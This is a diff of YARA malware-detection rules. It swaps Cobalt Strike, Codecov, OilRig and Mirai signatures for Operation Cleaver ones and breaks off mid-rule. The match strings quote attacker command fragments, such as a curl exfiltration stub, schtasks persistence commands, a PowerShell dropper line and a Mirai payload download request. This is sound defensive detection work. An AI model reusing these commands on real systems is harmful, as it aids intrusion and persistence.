+		description = "Keylogger used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "e9149baa-83c0-597f-833c-ea0241bb60e6"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cobaltstrike.yar#L54-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4349a7ad94df2269217b55c2aef9628c4eef078566c276936accdd4f996ba2cf"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L3-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c7716b21e85d7e9fb1e1503071c6cd7dc2f4713051e0b03013e3d123a0d800a6"
+		score = 70
 		quality = 85
 		tags = ""
 
 	strings:
-		$s1 = "%02d/%02d/%02d %02d:%02d:%02d"
-		$s2 = "Started service %s on %s"
-		$s3 = "%s as %s\\%s: %d"
+		$s1 = "BackDoorLogger"
+		$s2 = "zhuAddress"
 
 	condition:
-		2 of them
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_XOR_Strings
+rule SIGNATURE_BASE_OPCLEAVER_Jasus
 {
 	meta:
-		description = "Identifies XOR'd strings used in Cobalt Strike Beacon DLL"
-		author = "Elastic"
-		id = "359160a8-cf1c-58a8-bf7f-c09a8d661308"
-		date = "2021-03-16"
+		description = "ARP cache poisoner used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "8e04b258-e071-5974-9778-b9d0b97be8d5"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cobaltstrike.yar#L69-L88"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b5009c29055784ce6371100417b862f723d7e3c1b4081c563fcd8770db48051f"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L19-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d6cd7f0f264a0bfdc6af422baa1a0e257cb8f4c39a2cb27a1edaf70201e8564"
+		score = 70
 		quality = 85
 		tags = ""
-		xor_s1 = "%02d/%02d/%02d %02d:%02d:%02d"
-		xor_s2 = "Started service %s on %s"
-		xor_s3 = "%s as %s\\%s: %d"
 
 	strings:
-		$s1 = "%02d/%02d/%02d %02d:%02d:%02d" xor(0x01-0xff)
-		$s2 = "Started service %s on %s" xor(0x01-0xff)
-		$s3 = "%s as %s\\%s: %d" xor(0x01-0xff)
-		$fp1 = "MalwareRemovalTool"
+		$s1 = "pcap_dump_open"
+		$s2 = "Resolving IPs to poison..."
+		$s3 = "WARNNING: Gateway IP can not be found"
 
 	condition:
-		2 of ($s*) and not 1 of ($fp*)
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_4_2_Decrypt
+rule SIGNATURE_BASE_OPCLEAVER_Loggermodule
 {
 	meta:
-		description = "Identifies deobfuscation routine used in Cobalt Strike Beacon DLL version 4.2"
-		author = "Elastic"
-		id = "63b71eef-0af5-5765-b957-ccdc9dde053b"
-		date = "2021-03-16"
+		description = "Keylogger used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "949e7ff4-2102-5c89-83c9-f7ba64745661"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cobaltstrike.yar#L90-L102"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8685b1626c8d263f49ccf129dcd4fe1b42482fcdb37c2e109cedcecaed8c2407"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L36-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd937bc3fc7054874a3c61bbef859dd8a8ec37872a30be6d3e1776957f98db80"
+		score = 70
 		quality = 85
 		tags = ""
 
 	strings:
-		$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
-		$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}
+		$s1 = "%s-%02d%02d%02d%02d%02d.r"
+		$s2 = "C:\\Users\\%s\\AppData\\Cookies\\"
 
 	condition:
-		any of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_SH_Codecov_Hack_Apr21_1 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Netc
 {
 	meta:
-		description = "Detects manipulated Codecov bash uploader tool that has been manipulated by an unknown actor during March / April 2021"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b5fb74c4-073e-53af-a207-1672e63c9a64"
-		date = "2021-04-16"
+		description = "Net Crawler used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "68f32662-0d7d-5dfa-8bfd-ca41d383e19c"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://about.codecov.io/security-update/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_codecov_hack.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1aa7723982a1b675ba6694f1af0eb28e5926b974874580bd727cf33a3f8d893a"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L52-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7da739c33da91f07e9e35ceab88a37477372998b4cf4b692b8d26cd1a4d936de"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$a1 = "Global report uploading tool for Codecov"
-		$s1 = "curl -sm 0.5 -d"
+		$s1 = "NetC.exe" wide
+		$s2 = "Net Service"
 
 	condition:
-		uint16(0)==0x2123 and filesize <70KB and all of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Strings_Oct17 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Shellcreator2
 {
 	meta:
-		description = "Detects strings from OilRig malware and malicious scripts"
-		author = "Florian Roth (Nextron Systems)"
-		id = "edf7c7ca-0c58-5507-8d99-83078ff8947a"
-		date = "2017-10-18"
-		modified = "2022-12-21"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_oct17.yar#L11-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3987fa1ccb215edeb0d36c947fd6d7a24847ea854d3f355d1aef4b000f55e710"
-		score = 75
+		description = "Shell Creator used by attackers in Operation Cleaver to create ASPX web shells"
+		author = "Cylance Inc."
+		id = "b62336c3-39e5-55f8-98df-6c2a2cb0764a"
+		date = "2014-12-02"
+		modified = "2023-12-05"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L68-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5422cf4e4809c1183c3c9870d9a5ddcf806082d8cae81a014255f5f18576101d"
+		score = 70
+		quality = 85
+		tags = ""
+
+	strings:
+		$s1 = "ShellCreator2.Properties"
+		$s2 = "set_IV"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_OPCLEAVER_Smartcopy2
+{
+	meta:
+		description = "Malware or hack tool used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "898d9060-208a-5dfb-a452-50ab49b80a9d"
+		date = "2014-12-02"
+		modified = "2023-12-05"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L84-L98"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b83588fa80558cd387511d38e9d1c51c488216b9cd27e848d8bdc59cd8ce348"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$x1 = "%localappdata%\\srvHealth.exe" fullword wide ascii
-		$x2 = "%localappdata%\\srvBS.txt" fullword wide ascii
-		$x3 = "Agent Injector\\PolicyConverter\\Inner\\obj\\Release\\Inner.pdb" ascii
-		$x4 = "Agent Injector\\PolicyConverter\\Joiner\\obj\\Release\\Joiner.pdb" ascii
-		$s3 = ".LoadDll(\"Run\", arg, \"C:\\\\Windows\\\\" ascii
+		$s1 = "SmartCopy2.Properties"
+		$s2 = "ZhuFrameWork"
 
 	condition:
-		filesize <800KB and 1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Ismagent_Campaign_Samples1 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Synflooder
 {
 	meta:
-		description = "Detects OilRig malware from Unit 42 report in October 2017"
-		author = "Florian Roth (Nextron Systems)"
-		id = "237fe7af-a2ab-51ae-bc96-3af46b08622a"
-		date = "2017-10-18"
+		description = "Malware or hack tool used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "bdaf02f4-1226-569b-9f55-999be7ff397a"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/JQVfFP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_oct17.yar#L42-L61"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d7e659440e3abc7355f2e21ea8f63cfb7b17b5715e4575bdccf9d646ed47db20"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L100-L115"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b5349931c4eb5733f9bf05e7cfac6a434063a01d802665f70384cb29d9ae2a3d"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "119c64a8b35bd626b3ea5f630d533b2e0e7852a4c59694125ff08f9965b5f9cc"
-		hash2 = "0ccb2117c34e3045a4d2c0d193f1963c8c0e8566617ed0a561546c932d1a5c0c"
+		tags = ""
 
 	strings:
-		$s1 = "###$$$TVqQAAMAAAAEAAAA" ascii
-		$s2 = "C:\\Users\\J-Win-7-32-Vm\\Desktop\\error.jpg" fullword wide
-		$s3 = "$DATA = [System.Convert]::FromBase64String([IO.File]::ReadAllText('%Base%'));[io.file]::WriteAllBytes(" ascii
-		$s4 = " /c echo powershell > " fullword wide ascii
-		$s5 = "\\Libraries\\servicereset.exe" wide
-		$s6 = "%DestFolder%" fullword wide ascii
+		$s1 = "Unable to resolve [ %s ]. ErrorCode %d"
+		$s2 = "s IP is : %s"
+		$s3 = "Raw TCP Socket Created successfully."
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <3000KB and 2 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Ismagent_Campaign_Samples2 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Tinyzbot
 {
 	meta:
-		description = "Detects OilRig malware from Unit 42 report in October 2017"
-		author = "Florian Roth (Nextron Systems)"
-		id = "08771b23-1d0e-5da7-b42c-005ed257e2d1"
-		date = "2017-10-18"
+		description = "Tiny Bot used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "4fad21a6-a900-5afb-876d-99a6d93e0c2c"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/JQVfFP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_oct17.yar#L63-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ad00c7293f61f1b5528c3eea0dc32c10d40aeacc194be84a7f64d19b069f1add"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L117-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fdc41fbec71602e13105a03a4f44319a139018bda00e87e8f4d9b5e2f6269c14"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fcad263d0fe2b418db05f47d4036f0b42aaf201c9b91281dfdcb3201b298e4f4"
-		hash2 = "33c187cfd9e3b68c3089c27ac64a519ccc951ccb3c74d75179c520f54f11f647"
+		tags = ""
 
 	strings:
-		$x1 = "PolicyConverter.exe" fullword wide
-		$x2 = "SrvHealth.exe" fullword wide
-		$x3 = "srvBS.txt" fullword wide
-		$s1 = "{a3538ba3-5cf7-43f0-bc0e-9b53a98e1643}, PublicKeyToken=3e56350693f7355e" fullword wide
-		$s2 = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe" fullword wide
+		$s1 = "NetScp" wide
+		$s2 = "TinyZBot.Properties.Resources.resources"
+		$s3 = "Aoao WaterMark"
+		$s4 = "Run_a_exe"
+		$s5 = "netscp.exe"
+		$s6 = "get_MainModule_WebReference_DefaultWS"
+		$s7 = "remove_CheckFileMD5Completed"
+		$s8 = "http://tempuri.org/"
+		$s9 = "Zhoupin_Cleaver"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and (2 of ($x*) or 3 of them )
+		(($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or $s9)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Ismagent_Campaign_Samples3 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Zhoupinexploitcrew
 {
 	meta:
-		description = "Detects OilRig malware from Unit 42 report in October 2017"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e26510bd-d183-566a-a185-ebed7a81401c"
-		date = "2017-10-18"
+		description = "Keywords used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "4e7457a0-e6e1-535c-b04b-ad313b496ce1"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/JQVfFP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_oct17.yar#L84-L116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a4984cf33e7b0e0dae264ed11caae6cfab9db2a6047a46ec41c28b5637b4589b"
-		score = 75
-		quality = 81
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L140-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1541f1ebc026d3eaf9b62150085415d12523ee1395fb8cf7ade8608a1b0a11b6"
+		score = 70
+		quality = 85
+		tags = ""
 
 	strings:
-		$x1 = "cmd /c schtasks /query /tn TimeUpdate > NUL 2>&1" ascii
-		$x2 = "schtasks /create /sc minute /mo 0002 /tn TimeUpdate /tr" fullword ascii
-		$x3 = "-c  SampleDomain.com -m scheduleminutes" fullword ascii
-		$x4 = ".ntpupdateserver.com" fullword ascii
-		$x5 = ".msoffice365update.com" fullword ascii
-		$s1 = "out.exe" fullword ascii
-		$s2 = "\\Win32Project1\\Release\\Win32Project1.pdb" ascii
-		$s3 = "C:\\windows\\system32\\cmd.exe /c (" ascii
-		$s4 = "Content-Disposition: form-data; name=\"file\"; filename=\"a.a\"" fullword ascii
-		$s5 = "Agent configured successfully" fullword ascii
-		$s6 = "\\runlog*" ascii
-		$s7 = "can not specify username!!" fullword ascii
-		$s8 = "Agent can not be configured" fullword ascii
-		$s9 = "%08lX%04hX%04hX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX" fullword ascii
-		$s10 = "!!! can not create output file !!!" fullword ascii
+		$s1 = "zhoupin exploit crew" nocase
+		$s2 = "zhopin exploit crew" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="538805ecd776b9a42e71aebf94fde1b1" or pe.imphash()=="861ac226fbe8c99a2c43ff451e95da97" or (1 of ($x*) or 3 of them ))
+		1 of them
 }
-rule SIGNATURE_BASE_Mirai_Botnet_Malware : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Antivirusdetector
 {
 	meta:
-		description = "Detects Mirai Botnet Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a678e9f7-d516-5bdb-962e-b9d39d8a64bb"
-		date = "2016-10-04"
-		modified = "2023-01-27"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mirai.yar#L10-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "384f8377ca05296da1177a8939f526069fbad0bb73769bd282d81ea4d876003c"
-		score = 75
-		quality = 83
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c"
-		hash2 = "05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c"
-		hash3 = "20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4"
-		hash4 = "2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69"
-		hash5 = "420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175"
-		hash6 = "62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6"
-		hash7 = "70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0"
-		hash8 = "89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147"
-		hash9 = "bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4"
-		hash10 = "c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f"
-		hash11 = "d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89"
-		hash12 = "f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5"
-		hash13 = "fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b"
+		description = "Hack tool used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "25ab4eaf-eae7-5a55-bed4-42f621d5f06c"
+		date = "2014-12-02"
+		modified = "2023-12-05"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L156-L171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9a8c2bbd27efab4c5579ea143abbd2f71c477dfd0ddbfb1741359e4d34140d9b"
+		score = 70
+		quality = 85
+		tags = ""
 
 	strings:
-		$x1 = "POST /cdn-cgi/" ascii
-		$x2 = "/dev/misc/watchdog" fullword ascii
-		$x3 = "/dev/watchdog" ascii
-		$x5 = ".mdebug.abi32" fullword ascii
-		$s1 = "LCOGQGPTGP" fullword ascii
-		$s2 = "QUKLEKLUKVJOG" fullword ascii
-		$s3 = "CFOKLKQVPCVMP" fullword ascii
-		$s4 = "QWRGPTKQMP" fullword ascii
-		$s5 = "HWCLVGAJ" fullword ascii
-		$s6 = "NKQVGLKLE" fullword ascii
+		$s1 = "getShadyProcess"
+		$s2 = "getSystemAntiviruses"
+		$s3 = "AntiVirusDetector"
 
 	condition:
-		uint16(0)==0x457f and filesize <200KB and ((1 of ($x*) and 1 of ($s*)) or 4 of ($s*))
+		all of them
 }
-rule SIGNATURE_BASE_Mirai_1_May17 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Csext
 {
 	meta:
-		description = "Detects Mirai Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ac85ee28-a01f-5c3d-a534-0c19a3dc92e7"
-		date = "2017-05-12"
+		description = "Backdoor used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "f865eae5-9988-5533-a004-e1694761a557"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mirai.yar#L62-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6816ab3b455bbde6c4bb43bff162615d7fc24b9d5828faa190600387c38978e1"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L173-L188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b4d070b71b685608ab84e757d01293749f2c017a6cd5b6ade6591264adc9836b"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "172d050cf0d4e4f5407469998857b51261c80209d9fa5a2f5f037f8ca14e85d2"
-		hash2 = "9ba8def84a0bf14f682b3751b8f7a453da2cea47099734a72859028155b2d39c"
-		hash3 = "a393449a5f19109160384b13d60bb40601af2ef5f08839b5223f020f1f83e990"
+		tags = ""
 
 	strings:
-		$s1 = "GET /bins/mirai.x86 HTTP/1.0" fullword ascii
+		$s1 = "COM+ System Extentions"
+		$s2 = "csext.exe"
+		$s3 = "COM_Extentions_bin"
 
 	condition:
-		( uint16(0)==0x457f and filesize <5000KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Miari_2_May17 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Kagent
 {
 	meta:
-		description = "Detects Mirai Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1c2cc98d-8ca5-5055-8f86-7f85c046ccd9"
-		date = "2017-05-12"
+		description = "Backdoor used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "32d20495-eeed-5b2b-915d-cad60fa991f6"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mirai.yar#L80-L99"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "138a7d0c5508f0168f09329e97f00d0aacef17297558338cd88a9dc3ddddfee3"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L190-L204"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bd72ade7d40db830dc980def5107261f9cb41b713f9a0a1b2f41f7658b31653e"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "9ba8def84a0bf14f682b3751b8f7a453da2cea47099734a72859028155b2d39c"
-		hash2 = "a393449a5f19109160384b13d60bb40601af2ef5f08839b5223f020f1f83e990"
+		tags = ""
 
 	strings:
-		$s1 = "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36" fullword ascii
-		$s2 = "GET /g.php HTTP/1.1" fullword ascii
-		$s3 = "https://%[^/]/%s" fullword ascii
-		$s4 = "pass\" value=\"[^\"]*\"" fullword ascii
-		$s5 = "jbeupq84v7.2y.net" fullword ascii
+		$s1 = "kill command is in last machine, going back"
+		$s2 = "message data length in B64: %d Bytes"
 
 	condition:
-		( uint16(0)==0x457f and filesize <5000KB and 2 of them )
+		all of them
 }
-rule SIGNATURE_BASE_MAL_ELF_LNX_Mirai_Oct10_1 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Mimikatzwrapper
 {
 	meta:
-		description = "Detects ELF Mirai variant"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7bb28f03-03ba-581a-bc03-bd09a52787d9"
-		date = "2018-10-27"
-		modified = "2023-01-27"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mirai.yar#L101-L122"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d16ed12522b310fccab027355281a206f5087d555f0d1fef4e7746d01d085613"
-		score = 75
+		description = "Mimikatz Wrapper used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "e9427e29-e581-5a5b-8f1d-4b9bfeec0946"
+		date = "2014-12-02"
+		modified = "2023-12-05"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L206-L220"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c643e248a9d8dd653ec99f8b59cdc7af945857a6a0321f93cc6983e85f84baba"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe"
+		tags = ""
 
 	strings:
-		$x1 = " -r /vi/mips.bushido; "
-		$x2 = "/bin/busybox chmod 777 * /tmp/" ascii
-		$s1 = "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" fullword ascii
